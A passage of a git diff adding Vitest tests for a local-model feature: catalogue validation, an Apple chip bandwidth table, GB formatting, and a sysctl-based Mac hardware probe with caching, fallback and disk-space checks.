listed largest first, without repeats', + ]); + expect(issuesOf(withFirstModel({ contexts: [65536, 65536] }))).toEqual([ + 'models.0.contexts.1: contexts must be listed largest first, without repeats', + ]); + }); + + it('refuses a tested entry for a harness the catalogue does not list', () => { + const entry = { chip: 'Apple M4', memGb: 16, cli: 'not-a-harness', date: '2026-11-06' }; + expect(issuesOf(withFirstModel({ tested: [entry] }))).toEqual([ + 'models.0.tested.0.cli: a tested entry must name a harness of this catalogue', + ]); + }); + + it('refuses chips that are not listed most specific first', () => { + const catalog = copy(); + catalog.chips = [ + { match: 'M4', gbps: 120 }, + { match: 'M4 Max', gbps: 410 }, + ]; + expect(issuesOf(catalog)).toEqual([ + "chips.1.match: chips must be listed most specific first: 'M4' comes before 'M4 Max'", + ]); + + const repeated = copy(); + repeated.chips = [ + { match: 'M4', gbps: 120 }, + { match: 'm4', gbps: 130 }, + ]; + expect(issuesOf(repeated)).toHaveLength(1); + }); + + it('refuses prompt cache tiers that do not start at 0 or do not ascend', () => { + const late = copy(); + late.promptCacheTiers = [{ minMemGb: 16, bytes: 1 }]; + expect(issuesOf(late)).toEqual(['promptCacheTiers.0.minMemGb: the first prompt cache tier must start at 0']); + + const unordered = copy(); + unordered.promptCacheTiers = [ + { minMemGb: 0, bytes: 1 }, + { minMemGb: 32, bytes: 2 }, + { minMemGb: 24, bytes: 3 }, + ]; + expect(issuesOf(unordered)).toEqual(['promptCacheTiers.2.minMemGb: prompt cache tiers must ascend by minMemGb']); + }); +}); + +describe('the chips table', () => { + const chips = STOCK_LOCAL_MODEL_CATALOG.chips; + + it('holds every chip of the source table that shipped', () => { + // Bandwidth column of https://github.com/ggml-org/llama.cpp/discussions/4167, read on + // 2026-11-06. A name that covers two bandwidths has the lower one. + expect(Object.fromEntries(chips.map((row) => [row.match, row.gbps]))).toEqual({ + 'M5 Ultra': 1228, + 'M3 Ultra': 800, + 'M2 Ultra': 800, + 'M1 Ultra': 800, + 'M5 Max': 460, + 'M4 Max': 410, + 'M3 Max': 300, + 'M2 Max': 400, + 'M1 Max': 400, + 'M5 Pro': 307, + 'M4 Pro': 273, + 'M3 Pro': 150, + 'M2 Pro': 200, + 'M1 Pro': 200, + M5: 154, + M4: 120, + M3: 100, + M2: 100, + M1: 68, + }); + }); + + it('finds each row under the name macOS reports for that chip', () => { + // No row is hidden by an earlier one: 'Apple M4 Max' is 410, not the 120 of 'M4'. + for (const row of chips) { + expect(chipBandwidthGbps(chips, `Apple ${row.match}`), row.match).toBe(row.gbps); + } + }); + + it('knows the chips of the two test Macs', () => { + expect(chipBandwidthGbps(chips, 'Apple M4')).toBe(120); + expect(chipBandwidthGbps(chips, 'Apple M5 Pro')).toBe(307); + }); + + it('never guesses: a chip that no row names has no bandwidth', () => { + const unknown = [ + // A base chip that is not in the table. + 'Apple M6', + // A variant the table has never heard of must not borrow the figure of its base chip. + 'Apple M6 Pro', + 'Apple M4 Ultra', + 'Apple M5 Extreme', + // A name that merely contains a known name. + 'Apple M10', + 'Apple M12 Pro', + 'Apple M1 Max (Virtual)', + 'Intel(R) Core(TM) i7-9750H CPU @ 2.60GHz', + 'VirtualApple @ 2.50GHz processor', + 'Max', + '', + ]; + for (const chip of unknown) expect(chipBandwidthGbps(chips, chip), chip).toBeUndefined(); + expect(chipBandwidthGbps(chips, undefined)).toBeUndefined(); + expect(chipBandwidthGbps([], 'Apple M4')).toBeUndefined(); + }); +}); + +describe('chipNameMatches', () => { + it('matches the whole chip name at the end of the string, ignoring case and padding', () => { + expect(chipNameMatches('Apple M4 Pro', 'M4 Pro')).toBe(true); + expect(chipNameMatches('Apple M4', 'M4')).toBe(true); + expect(chipNameMatches('M4', 'M4')).toBe(true); + expect(chipNameMatches(' apple m4 pro ', 'M4 PRO')).toBe(true); + }); + + it('does not match a part of a longer name', () => { + expect(chipNameMatches('Apple M4 Pro', 'M4')).toBe(false); + expect(chipNameMatches('Apple M14', 'M4')).toBe(false); + expect(chipNameMatches('Apple M10', 'M1')).toBe(false); + expect(chipNameMatches('Apple XM4', 'M4')).toBe(false); + expect(chipNameMatches('Apple M4', '')).toBe(false); + expect(chipNameMatches('', 'M4')).toBe(false); + }); +}); diff --git a/test/local-model-format.test.ts b/test/local-model-format.test.ts new file mode 100644 index 00000000..2f3bd3fb --- /dev/null +++ b/test/local-model-format.test.ts @@ -0,0 +1,86 @@ +/** + * @fileoverview Tests for src/local-model/format.ts: the ONE place a byte count becomes a size a + * person reads, and the memory class a Mac is sold as. + * + * What is pinned here is a contract with the browser: it prints the text it was sent and adds + * ' GB' itself, so the text must be decimal GB, carry no unit, and round the same way everywhere. + * + * Port: N/A (pure functions). + */ + +import { describe, expect, it } from 'vitest'; +import { formatGb, GB, GIB, memClassGb, MIB } from '../src/local-model/format.js'; + +describe('byte units', () => { + it('keeps decimal GB (what a person reads) apart from the binary units of the budget math', () => { + expect(GB).toBe(1_000_000_000); + expect(GIB).toBe(1_073_741_824); + expect(MIB).toBe(1_048_576); + }); +}); + +describe('formatGb', () => { + it('prints decimal GB, so a Mac sold as 16 GB reads 17.2 and one sold as 48 GB reads 51.5', () => { + expect(formatGb(17_179_869_184)).toBe('17.2'); + expect(formatGb(51_539_607_552)).toBe('51.5'); + }); + + it('prints the registry sizes of the catalogue models as the registry shows them', () => { + expect(formatGb(6_550_825_373)).toBe('6.6'); + expect(formatGb(13_793_441_427)).toBe('13.8'); + expect(formatGb(17_741_871_939)).toBe('17.7'); + expect(formatGb(22_621_314_161)).toBe('22.6'); + expect(formatGb(81_370_035_877)).toBe('81.4'); + }); + + it('keeps one decimal below 100 and none from 100', () => { + expect(formatGb(1 * GB)).toBe('1.0'); + expect(formatGb(99.94 * GB)).toBe('99.9'); + // Rounds to 100.0, which is already "from 100". + expect(formatGb(99.96 * GB)).toBe('100'); + expect(formatGb(100 * GB)).toBe('100'); + // The free disk of the two test Macs, from their `df -k` lines. + expect(formatGb(890_926_084 * 1024)).toBe('912'); + expect(formatGb(41_752_848 * 1024)).toBe('42.8'); + }); + + it('never prints a unit, a thousands separator or an exponent', () => { + for (const bytes of [1, 5 * MIB, 3 * GIB, 250 * GB, 4000 * GB, 2.5e15]) { + expect(formatGb(bytes)).toMatch(/^\d+(\.\d)?$/); + } + }); + + it("reads '0.0' for anything that is not a positive size", () => { + for (const bytes of [0, -1, -5 * GB, Number.NaN, Number.POSITIVE_INFINITY, Number.NEGATIVE_INFINITY]) { + expect(formatGb(bytes)).toBe('0.0'); + } + }); + + it('shows a size too small for one decimal as 0.0, never as an empty text', () => { + expect(formatGb(10 * MIB)).toBe('0.0'); + expect(formatGb(512 * MIB)).toBe('0.5'); + }); +}); + +describe('memClassGb', () => { + it('names the size a Mac is sold as: whole binary gigabytes', () => { + for (const sold of [8, 16, 18, 24, 32, 36, 48, 64, 96, 128, 192]) { + expect(memClassGb(sold * GIB)).toBe(sold); + } + // The exact `hw.memsize` of the two test Macs. + expect(memClassGb(17_179_869_184)).toBe(16); + expect(memClassGb(51_539_607_552)).toBe(48); + }); + + it('rounds a size that is not a whole number of gigabytes', () => { + // `hw.memsize_usable` of the 16 GB test Mac is a little below 16 GiB. + expect(memClassGb(16_631_808_000)).toBe(15); + expect(memClassGb(16 * GIB - 100 * MIB)).toBe(16); + }); + + it('reads 0 for anything that is not a positive size', () => { + for (const bytes of [0, -1, Number.NaN, Number.POSITIVE_INFINITY]) { + expect(memClassGb(bytes)).toBe(0); + } + }); +}); diff --git a/test/local-model-hardware.test.ts b/test/local-model-hardware.test.ts new file mode 100644 index 00000000..0bcaa61a --- /dev/null +++ b/test/local-model-hardware.test.ts @@ -0,0 +1,749 @@ +/** + * @fileoverview Tests for src/local-model/hardware.ts: the probe that tells the recommendation + * what this Mac is. + * + * Two halves, mirroring the module: + * + * 1. `parseSysctl()`, pure. Fed the REAL output of the probe command on the two test Macs (a + * MacBook Pro with an M5 Pro and 48 GB, a Mac mini with an M4 and 16 GB), copied here + * character for character with the extra lines the capture holds, plus an Intel-shaped + * output (three of the seven keys do not exist there) and outputs cut off mid-line. + * 2. `readHardware()`, with every piece of IO injected: nothing is spawned and no real disk is + * read. What is pinned: a failed spawn is an ANSWER (the `os-fallback` shape), nothing is + * spawned off macOS, the result is cached for 60 s and concurrent callers share one probe. + * + * The IO itself is tested apart, against things this suite controls: + * + * 3. `spawnSysctl()` runs a small shell script of the test in place of sysctl. That proves what + * a fake cannot: the arguments are the seven keys and nothing else, the output of a program + * that exits 1 is still read (an Intel Mac lacks three keys, so sysctl exits 1 there), a + * program that hangs is given up on, and the server's environment is not handed over. + * 4. `dataDirFreeBytes()` with injected probes: a folder that does not exist yet, a mount that + * does not answer, and a `statfs` that never comes back, which must not be started twice. + * + * One test at the end runs the real defaults once (the real spawn and the real `statfs`), to + * prove they cannot reject on whatever machine runs the suite. On Linux `sysctl` knows none of + * the keys, so that run ends in the fallback; on a Mac it ends in a real answer. Both are fine. + * + * Port: N/A (no server). + */ + +import { mkdtempSync, rmSync, writeFileSync } from 'node:fs'; +import { tmpdir } from 'node:os'; +import { isAbsolute, join } from 'node:path'; +import { afterEach, beforeEach, describe, expect, it } from 'vitest'; +import { + dataDirFreeBytes, + FREE_DISK_TIMEOUT_MS, + freeDiskBytesOf, + HARDWARE_CACHE_TTL_MS, + parseSysctl, + readHardware, + resetHardwareCache, + spawnSysctl, + SYSCTL_KEYS, + SYSCTL_PATH, + SYSCTL_TIMEOUT_MS, + type HardwareProbeDeps, +} from '../src/local-model/hardware.js'; + +/** + * The capture of the MacBook Pro (Mac17,13), 2026-11-06. The last four lines are not part of + * the probe: two extra keys the capture asked for, the shell's exit status and a `df -k` line. + */ +const MACBOOK_SYSCTL = `hw.memsize: 51539607552 +machdep.cpu.brand_string: Apple M5 Pro +hw.optional.arm64: 1 +sysctl.proc_translated: 0 +iogpu.wired_limit_mb: 0 +kern.osproductversion: 27.2 +hw.model: Mac17,13 +hw.perflevel0.physicalcpu: 6 +hw.perflevel1.physicalcpu: 12 +exit=0 +/dev/disk3s5 971094180 54383564 890926084 6% 542146 8909260840 0% /System/Volumes/Data +`; + +/** The capture of the Mac mini (Mac16,10), 2026-11-06, with the same four extra lines. */ +const MACMINI_SYSCTL = `hw.memsize: 17179869184 +machdep.cpu.brand_string: Apple M4 +hw.optional.arm64: 1 +sysctl.proc_translated: 0 +iogpu.wired_limit_mb: 0 +kern.osproductversion: 27.2 +hw.model: Mac16,10 +hw.perflevel0.physicalcpu: 4 +hw.perflevel1.physicalcpu: 6 +exit=0 +/dev/disk3s5 239362496 172954124 41752848 81% 2353838 417528480 1% /System/Volumes/Data +`; + +/** Free disk of the two Macs: the "available" column of their `df -k` lines, in bytes. */ +const MACBOOK_FREE_DISK = 890_926_084 * 1024; +const MACMINI_FREE_DISK = 41_752_848 * 1024; + +/** + * What an Intel Mac prints: `hw.optional.arm64`, `sysctl.proc_translated` and + * `iogpu.wired_limit_mb` do not exist there, so sysctl leaves their lines out (and exits 1). + * NOT a capture: no Intel Mac was available, the shape is recalled. + */ +const INTEL_SYSCTL = `hw.memsize: 17179869184 +machdep.cpu.brand_string: Intel(R) Core(TM) i7-9750H CPU @ 2.60GHz +kern.osproductversion: 13.6.7 +hw.model: MacBookPro15,1 +`; + +/** Deps that spawn nothing and read no disk. A test overrides what it is about. */ +function deps(overrides: HardwareProbeDeps = {}): HardwareProbeDeps { + return { + platform: 'darwin', + arch: 'arm64', + runSysctl: async () => MACMINI_SYSCTL, + freeDiskBytes: async () => MACMINI_FREE_DISK, + totalMemBytes: () => 8 * 1024 ** 3, + cpuModel: () => 'Fallback CPU', + now: () => 1_000_000, + ...overrides, + }; +} + +beforeEach(() => { + resetHardwareCache(); +}); + +afterEach(() => { + resetHardwareCache(); +}); + +describe('the probe command', () => { + it('is an absolute path and asks for exactly the seven keys, never with -n', () => { + expect(isAbsolute(SYSCTL_PATH)).toBe(true); + expect(SYSCTL_PATH).toBe('/usr/sbin/sysctl'); + expect([...SYSCTL_KEYS]).toEqual([ + 'hw.memsize', + 'machdep.cpu.brand_string', + 'hw.optional.arm64', + 'sysctl.proc_translated', + 'iogpu.wired_limit_mb', + 'kern.osproductversion', + 'hw.model', + ]); + // Every argument is a key name. `-n` would print bare values, and a key missing on a + // machine would then shift every value after it onto the wrong key. + for (const key of SYSCTL_KEYS) expect(key).toMatch(/^[a-z][a-z0-9_.]*$/); + }); + + it('is bounded, and its result is reused for 60 seconds', () => { + expect(SYSCTL_TIMEOUT_MS).toBe(2000); + expect(HARDWARE_CACHE_TTL_MS).toBe(60_000); + }); +}); + +describe('parseSysctl on the two real Macs', () => { + it('reads the MacBook Pro: M5 Pro, 48 GB, macOS 27.2, no wired limit set', () => { + expect(parseSysctl(MACBOOK_SYSCTL)).toEqual({ + memBytes: 51_539_607_552, + chip: 'Apple M5 Pro', + arm64: true, + translated: false, + wiredLimitMb: 0, + macosVersion: '27.2', + macosMajor: 27, + model: 'Mac17,13', + }); + }); + + it('reads the Mac mini: M4, 16 GB, macOS 27.2, no wired limit set', () => { + expect(parseSysctl(MACMINI_SYSCTL)).toEqual({ + memBytes: 17_179_869_184, + chip: 'Apple M4', + arm64: true, + translated: false, + wiredLimitMb: 0, + macosVersion: '27.2', + macosMajor: 27, + model: 'Mac16,10', + }); + }); + + it('skips the lines it does not know: other keys, the exit status, the df line', () => { + const facts = parseSysctl(MACMINI_SYSCTL); + expect(Object.keys(facts).sort()).toEqual( + ['arm64', 'chip', 'macosMajor', 'macosVersion', 'memBytes', 'model', 'translated', 'wiredLimitMb'].sort() + ); + }); + + it('reports a wired limit of 0 as 0 (not set), and a set one as its number', () => { + expect(parseSysctl(MACMINI_SYSCTL).wiredLimitMb).toBe(0); + expect(parseSysctl('iogpu.wired_limit_mb: 14000\n').wiredLimitMb).toBe(14000); + }); +}); + +describe('parseSysctl on other shapes', () => { + it('reads an Intel Mac, whose output lacks three of the keys, without shifting a value', () => { + expect(parseSysctl(INTEL_SYSCTL)).toEqual({ + memBytes: 17_179_869_184, + chip: 'Intel(R) Core(TM) i7-9750H CPU @ 2.60GHz', + macosVersion: '13.6.7', + macosMajor: 13, + model: 'MacBookPro15,1', + }); + }); + + it('reads an Intel Mac that does print the arm64 flag, as 0', () => { + const facts = parseSysctl(`hw.optional.arm64: 0\n${INTEL_SYSCTL}`); + expect(facts.arm64).toBe(false); + expect(facts.translated).toBeUndefined(); + }); + + it('reads a process under Rosetta: the machine is arm64 and the process is translated', () => { + const facts = parseSysctl(MACMINI_SYSCTL.replace('sysctl.proc_translated: 0', 'sysctl.proc_translated: 1')); + expect(facts.arm64).toBe(true); + expect(facts.translated).toBe(true); + }); + + it('drops a line that was cut off: a truncated output never yields half a value', () => { + // Cut in the middle of the chip name. The memory line before it is whole. + const cutInChip = 'hw.memsize: 17179869184\nmachdep.cpu.brand_string: Apple M'; + expect(parseSysctl(cutInChip)).toEqual({ memBytes: 17_179_869_184 }); + + // Cut in the middle of the memory figure: '1717' would be a valid, wrong number. + expect(parseSysctl('hw.memsize: 1717')).toEqual({}); + + // Cut right after a whole line: everything up to there counts. + const cutAfterLine = MACMINI_SYSCTL.slice(0, MACMINI_SYSCTL.indexOf('hw.optional.arm64')); + expect(parseSysctl(cutAfterLine)).toEqual({ memBytes: 17_179_869_184, chip: 'Apple M4' }); + }); + + it('reads nothing from an empty output or from error text', () => { + expect(parseSysctl('')).toEqual({}); + expect(parseSysctl('\n\n')).toEqual({}); + expect( + parseSysctl("sysctl: unknown oid 'hw.memsize'\nsysctl: cannot stat /proc/sys/hw/memsize: No such file\n") + ).toEqual({}); + }); + + it('leaves out a value that does not parse instead of guessing', () => { + const facts = parseSysctl( + [ + 'hw.memsize: lots', + 'machdep.cpu.brand_string: ', + 'hw.optional.arm64: yes', + 'sysctl.proc_translated: 2', + 'iogpu.wired_limit_mb: -1', + 'kern.osproductversion: Sequoia', + `hw.model: ${'x'.repeat(200)}`, + '', + ].join('\n') + ); + expect(facts).toEqual({}); + }); + + it('refuses a memory size of 0 or one too large to be a number of bytes', () => { + expect(parseSysctl('hw.memsize: 0\n').memBytes).toBeUndefined(); + expect(parseSysctl('hw.memsize: 99999999999999999999999\n').memBytes).toBeUndefined(); + }); + + it('accepts Windows line ends and padding, and the first line of a key wins', () => { + const facts = parseSysctl('hw.memsize: 17179869184 \r\nhw.model: Mac16,10\r\nhw.model: Other9,9\r\n'); + expect(facts).toEqual({ memBytes: 17_179_869_184, model: 'Mac16,10' }); + }); + + it('reads the macOS major version from one, two or three numbers', () => { + expect(parseSysctl('kern.osproductversion: 14\n')).toMatchObject({ macosVersion: '14', macosMajor: 14 }); + expect(parseSysctl('kern.osproductversion: 15.7\n')).toMatchObject({ macosVersion: '15.7', macosMajor: 15 }); + expect(parseSysctl('kern.osproductversion: 13.6.7\n')).toMatchObject({ macosVersion: '13.6.7', macosMajor: 13 }); + }); +}); + +describe('readHardware on the two real Macs', () => { + it('describes the MacBook Pro', async () => { + const hw = await readHardware( + deps({ runSysctl: async () => MACBOOK_SYSCTL, freeDiskBytes: async () => MACBOOK_FREE_DISK }) + ); + expect(hw).toEqual({ + platform: 'darwin', + arch: 'arm64', + arm64: true, + translated: false, + memBytes: 51_539_607_552, + memGb: '51.5', + memClassGb: 48, + chip: 'Apple M5 Pro', + model: 'Mac17,13', + macosVersion: '27.2', + macosMajor: 27, + wiredLimitMb: 0, + freeDiskBytes: MACBOOK_FREE_DISK, + freeDiskGb: '912', + source: 'sysctl', + }); + }); + + it('describes the Mac mini', async () => { + const hw = await readHardware(deps()); + expect(hw).toEqual({ + platform: 'darwin', + arch: 'arm64', + arm64: true, + translated: false, + memBytes: 17_179_869_184, + memGb: '17.2', + memClassGb: 16, + chip: 'Apple M4', + model: 'Mac16,10', + macosVersion: '27.2', + macosMajor: 27, + wiredLimitMb: 0, + freeDiskBytes: MACMINI_FREE_DISK, + freeDiskGb: '42.8', + source: 'sysctl', + }); + }); + + it('is plain JSON: it survives a round trip unchanged', async () => { + const hw = await readHardware(deps()); + expect(JSON.parse(JSON.stringify(hw))).toEqual(hw); + }); + + it('describes an Intel Mac from its shorter output: no arm64 flag, an x64 process', async () => { + const hw = await readHardware(deps({ arch: 'x64', runSysctl: async () => INTEL_SYSCTL })); + expect(hw.source).toBe('sysctl'); + expect(hw.arch).toBe('x64'); + expect(hw.chip).toBe('Intel(R) Core(TM) i7-9750H CPU @ 2.60GHz'); + expect(hw.macosMajor).toBe(13); + expect(hw).not.toHaveProperty('arm64'); + expect(hw).not.toHaveProperty('translated'); + expect(hw).not.toHaveProperty('wiredLimitMb'); + }); + + it('takes the chip name from node:os when sysctl printed everything but that', async () => { + const hw = await readHardware( + deps({ runSysctl: async () => MACMINI_SYSCTL.replace('machdep.cpu.brand_string: Apple M4\n', '') }) + ); + expect(hw.source).toBe('sysctl'); + expect(hw.chip).toBe('Fallback CPU'); + }); +}); + +describe('readHardware when the probe fails', () => { + it('answers from node:os when the spawn could not run or timed out', async () => { + const hw = await readHardware( + deps({ + runSysctl: async () => undefined, + totalMemBytes: () => 34_359_738_368, + cpuModel: () => 'Apple M2 Max', + }) + ); + expect(hw).toEqual({ + platform: 'darwin', + arch: 'arm64', + memBytes: 34_359_738_368, + memGb: '34.4', + memClassGb: 32, + chip: 'Apple M2 Max', + freeDiskBytes: MACMINI_FREE_DISK, + freeDiskGb: '42.8', + source: 'os-fallback', + }); + }); + + it('never rejects when a dependency throws or rejects', async () => { + const hw = await readHardware( + deps({ + runSysctl: () => Promise.reject(new Error('spawn EACCES')), + freeDiskBytes: () => { + throw new Error('statfs failed'); + }, + cpuModel: () => { + throw new Error('no cpus'); + }, + }) + ); + expect(hw.source).toBe('os-fallback'); + expect(hw.memBytes).toBe(8 * 1024 ** 3); + expect(hw).not.toHaveProperty('chip'); + expect(hw).not.toHaveProperty('freeDiskBytes'); + expect(hw).not.toHaveProperty('freeDiskGb'); + }); + + it('still answers when even the memory size cannot be read', async () => { + const hw = await readHardware( + deps({ + runSysctl: async () => undefined, + totalMemBytes: () => { + throw new Error('no memory figure'); + }, + }) + ); + expect(hw).toMatchObject({ source: 'os-fallback', memBytes: 0, memGb: '0.0', memClassGb: 0 }); + }); + + it('trusts nothing of an output that has no memory size', async () => { + // A truncated or foreign output: the chip and version lines are whole, hw.memsize is not there. + const withoutMemory = MACMINI_SYSCTL.replace('hw.memsize: 17179869184\n', ''); + const hw = await readHardware(deps({ runSysctl: async () => withoutMemory })); + expect(hw.source).toBe('os-fallback'); + expect(hw.memBytes).toBe(8 * 1024 ** 3); + expect(hw.chip).toBe('Fallback CPU'); + expect(hw).not.toHaveProperty('macosVersion'); + expect(hw).not.toHaveProperty('macosMajor'); + expect(hw).not.toHaveProperty('model'); + expect(hw).not.toHaveProperty('wiredLimitMb'); + expect(hw).not.toHaveProperty('arm64'); + }); + + it('falls back when the output was cut off inside the memory figure', async () => { + const hw = await readHardware(deps({ runSysctl: async () => 'hw.memsize: 1717' })); + expect(hw.source).toBe('os-fallback'); + expect(hw.memBytes).toBe(8 * 1024 ** 3); + }); + + it('leaves the free disk out when it is unknown, and keeps the rest', async () => { + const hw = await readHardware(deps({ freeDiskBytes: async () => undefined })); + expect(hw.source).toBe('sysctl'); + expect(hw).not.toHaveProperty('freeDiskBytes'); + expect(hw).not.toHaveProperty('freeDiskGb'); + }); + + it('reports a full disk as 0 bytes free, which is a figure and not "unknown"', async () => { + const hw = await readHardware(deps({ freeDiskBytes: async () => 0 })); + expect(hw.freeDiskBytes).toBe(0); + expect(hw.freeDiskGb).toBe('0.0'); + }); +}); + +describe('readHardware off macOS', () => { + it('spawns nothing and reads no disk', async () => { + let spawned = 0; + let diskRead = 0; + const hw = await readHardware( + deps({ + platform: 'linux', + arch: 'x64', + runSysctl: async () => { + spawned++; + return MACMINI_SYSCTL; + }, + freeDiskBytes: async () => { + diskRead++; + return 1; + }, + totalMemBytes: () => 67_430_023_168, + }) + ); + expect(spawned).toBe(0); + expect(diskRead).toBe(0); + expect(hw).toEqual({ + platform: 'linux', + arch: 'x64', + memBytes: 67_430_023_168, + memGb: '67.4', + memClassGb: 63, + source: 'not-probed', + }); + }); +}); + +describe('the cache of readHardware', () => { + it('reuses one result for 60 seconds, then probes again', async () => { + let clock = 5_000_000; + let spawned = 0; + const counting = deps({ + now: () => clock, + runSysctl: async () => { + spawned++; + return spawned === 1 ? MACMINI_SYSCTL : MACBOOK_SYSCTL; + }, + }); + + const first = await readHardware(counting); + clock += HARDWARE_CACHE_TTL_MS - 1; + const second = await readHardware(counting); + expect(spawned).toBe(1); + expect(second).toBe(first); + + clock += 1; + const third = await readHardware(counting); + expect(spawned).toBe(2); + expect(third.chip).toBe('Apple M5 Pro'); + }); + + it('caches a failed probe too: a broken sysctl is not spawned on every request', async () => { + let spawned = 0; + const failing = deps({ + runSysctl: async () => { + spawned++; + return undefined; + }, + }); + expect((await readHardware(failing)).source).toBe('os-fallback'); + expect((await readHardware(failing)).source).toBe('os-fallback'); + expect(spawned).toBe(1); + }); + + it('lets concurrent callers share one probe', async () => { + let spawned = 0; + let release: (text: string) => void = () => {}; + const slow = deps({ + runSysctl: () => { + spawned++; + return new Promise((resolve) => { + release = resolve; + }); + }, + }); + const callers = [readHardware(slow), readHardware(slow), readHardware(slow)]; + // Let the three calls reach the spawn before it answers. + await new Promise((resolve) => setImmediate(resolve)); + release(MACMINI_SYSCTL); + const results = await Promise.all(callers); + expect(spawned).toBe(1); + expect(results[1]).toBe(results[0]); + expect(results[2]).toBe(results[0]); + }); + + it('probes again after a reset, and does not trust a clock that ran backwards', async () => { + let clock = 9_000_000; + let spawned = 0; + const counting = deps({ + now: () => clock, + runSysctl: async () => { + spawned++; + return MACMINI_SYSCTL; + }, + }); + await readHardware(counting); + resetHardwareCache(); + await readHardware(counting); + expect(spawned).toBe(2); + + clock -= 10_000; + await readHardware(counting); + expect(spawned).toBe(3); + }); +}); + +// The scripts below are POSIX shell. Codeman's server does not run on Windows. +describe.skipIf(process.platform === 'win32')('spawnSysctl, against a script of the test', () => { + let folder: string; + + beforeEach(() => { + folder = mkdtempSync(join(tmpdir(), 'codeman-local-model-spawn-')); + }); + + afterEach(() => { + rmSync(folder, { recursive: true, force: true }); + }); + + /** An executable shell script standing in for sysctl. */ + function script(body: string, mode = 0o755): string { + const path = join(folder, 'fake-sysctl'); + writeFileSync(path, `#!/bin/sh\n${body}\n`, { mode }); + return path; + } + + it('passes the seven keys as arguments and nothing else: no -n, no shell', async () => { + // printf, not echo: echo would swallow a `-n` argument, the very thing this test looks for. + const output = await spawnSysctl(script('printf \'%s\\n\' "$@"')); + expect(output?.trimEnd().split('\n')).toEqual([...SYSCTL_KEYS]); + }); + + it('reads the output of a program that exits 1, as sysctl does on an Intel Mac', async () => { + // Three keys are unknown there: their errors go to stderr, the other four lines to stdout. + const output = await spawnSysctl( + script( + [ + "echo 'hw.memsize: 17179869184'", + "echo 'machdep.cpu.brand_string: Intel(R) Core(TM) i7-9750H CPU @ 2.60GHz'", + `echo "sysctl: unknown oid 'hw.optional.arm64'" >&2`, + `echo "sysctl: unknown oid 'sysctl.proc_translated'" >&2`, + `echo "sysctl: unknown oid 'iogpu.wired_limit_mb'" >&2`, + "echo 'kern.osproductversion: 13.6.7'", + "echo 'hw.model: MacBookPro15,1'", + 'exit 1', + ].join('\n') + ) + ); + expect(output).toBeDefined(); + expect(output).not.toContain('unknown oid'); + expect(parseSysctl(output as string)).toEqual({ + memBytes: 17_179_869_184, + chip: 'Intel(R) Core(TM) i7-9750H CPU @ 2.60GHz', + macosVersion: '13.6.7', + macosMajor: 13, + model: 'MacBookPro15,1', + }); + }); + + it('answers undefined for a program that does not exist or may not be run', async () => { + expect(await spawnSysctl(join(folder, 'no-such-program'))).toBeUndefined(); + expect(await spawnSysctl(script('echo "hw.memsize: 1"', 0o644))).toBeUndefined(); + }); + + it('gives up on a program that hangs, and does not hand over half an output', async () => { + const started = Date.now(); + // `exec` so the signal reaches the sleeper itself and nothing is left behind. + const output = await spawnSysctl(script("echo 'hw.memsize: 17179869184'\nexec sleep 20"), 200); + expect(output).toBeUndefined(); + expect(Date.now() - started).toBeLessThan(5000); + }); + + it('answers undefined for an output far larger than seven lines', async () => { + expect(await spawnSysctl(script("head -c 200000 /dev/zero | tr '\\0' 'x'"))).toBeUndefined(); + }); + + it("does not pass the server's environment to the program", async () => { + const name = 'CODEMAN_LOCAL_MODEL_TEST_SECRET'; + process.env[name] = 'hunter2'; + try { + const output = await spawnSysctl(script(`echo "secret=\${${name}:-unset}"`)); + expect(output?.trim()).toBe('secret=unset'); + } finally { + delete process.env[name]; + } + }); +}); + +describe('dataDirFreeBytes', () => { + let folder: string; + + beforeEach(() => { + folder = mkdtempSync(join(tmpdir(), 'codeman-local-model-disk-')); + }); + + afterEach(() => { + rmSync(folder, { recursive: true, force: true }); + }); + + it('reads the free bytes of the data dir with the real probe and the real statfs', async () => { + const free = await dataDirFreeBytes({ dataDir: () => folder }); + expect(typeof free).toBe('number'); + expect(free).toBeGreaterThanOrEqual(0); + }); + + it('uses the nearest existing parent when the data dir does not exist yet', async () => { + const asked: string[] = []; + const free = await dataDirFreeBytes({ + dataDir: () => join(folder, 'not', 'yet', 'there'), + freeBytesOf: async (path) => { + asked.push(path); + return 123; + }, + }); + expect(free).toBe(123); + expect(asked).toEqual([folder]); + }); + + it('does not touch a folder whose mount does not answer, or a path that is a file', async () => { + for (const kind of ['unknown', 'file'] as const) { + let touched = 0; + const free = await dataDirFreeBytes({ + dataDir: () => folder, + probeKind: async () => kind, + freeBytesOf: async () => { + touched++; + return 1; + }, + }); + expect(free, kind).toBeUndefined(); + expect(touched, kind).toBe(0); + } + }); + + it('stops walking up after a few parents', async () => { + let probes = 0; + const free = await dataDirFreeBytes({ + dataDir: () => '/a/b/c/d/e/f/g/h/i/j/k/l', + probeKind: async () => { + probes++; + return 'absent'; + }, + freeBytesOf: async () => 1, + }); + expect(free).toBeUndefined(); + expect(probes).toBe(7); + }); + + it('gives up on a statfs that does not come back, and never starts a second one meanwhile', async () => { + let started = 0; + let finish: (bytes: number) => void = () => {}; + const hanging = { + dataDir: () => folder, + freeBytesOf: () => { + started++; + return new Promise((resolve) => { + finish = resolve; + }); + }, + timeoutMs: 20, + }; + + // The first read waits its timeout and answers "unknown". + expect(await dataDirFreeBytes(hanging)).toBeUndefined(); + expect(started).toBe(1); + + // While that statfs is still out, later reads answer at once and start nothing. + const before = Date.now(); + expect(await dataDirFreeBytes(hanging)).toBeUndefined(); + expect(await dataDirFreeBytes({ ...hanging, timeoutMs: 60_000 })).toBeUndefined(); + expect(Date.now() - before).toBeLessThan(1000); + expect(started).toBe(1); + + // Once it finally answers, the next read works again. + finish(5); + await new Promise((resolve) => setImmediate(resolve)); + expect(await dataDirFreeBytes({ ...hanging, freeBytesOf: async () => 42 })).toBe(42); + }); + + it('never rejects when one of its reads does', async () => { + const failing = async (): Promise => { + throw new Error('EIO'); + }; + expect(await dataDirFreeBytes({ dataDir: () => folder, freeBytesOf: failing })).toBeUndefined(); + expect(await dataDirFreeBytes({ dataDir: () => folder, probeKind: failing })).toBeUndefined(); + expect( + await dataDirFreeBytes({ + dataDir: () => { + throw new Error('no home'); + }, + }) + ).toBeUndefined(); + }); + + it('is bounded by default', () => { + expect(FREE_DISK_TIMEOUT_MS).toBe(2000); + }); +}); + +describe('the real defaults', () => { + let folder: string; + + beforeEach(() => { + folder = mkdtempSync(join(tmpdir(), 'codeman-local-model-hw-')); + }); + + afterEach(() => { + rmSync(folder, { recursive: true, force: true }); + }); + + it('reads the free bytes of a real folder, and undefined for one that does not exist', async () => { + const free = await freeDiskBytesOf(folder); + expect(typeof free).toBe('number'); + 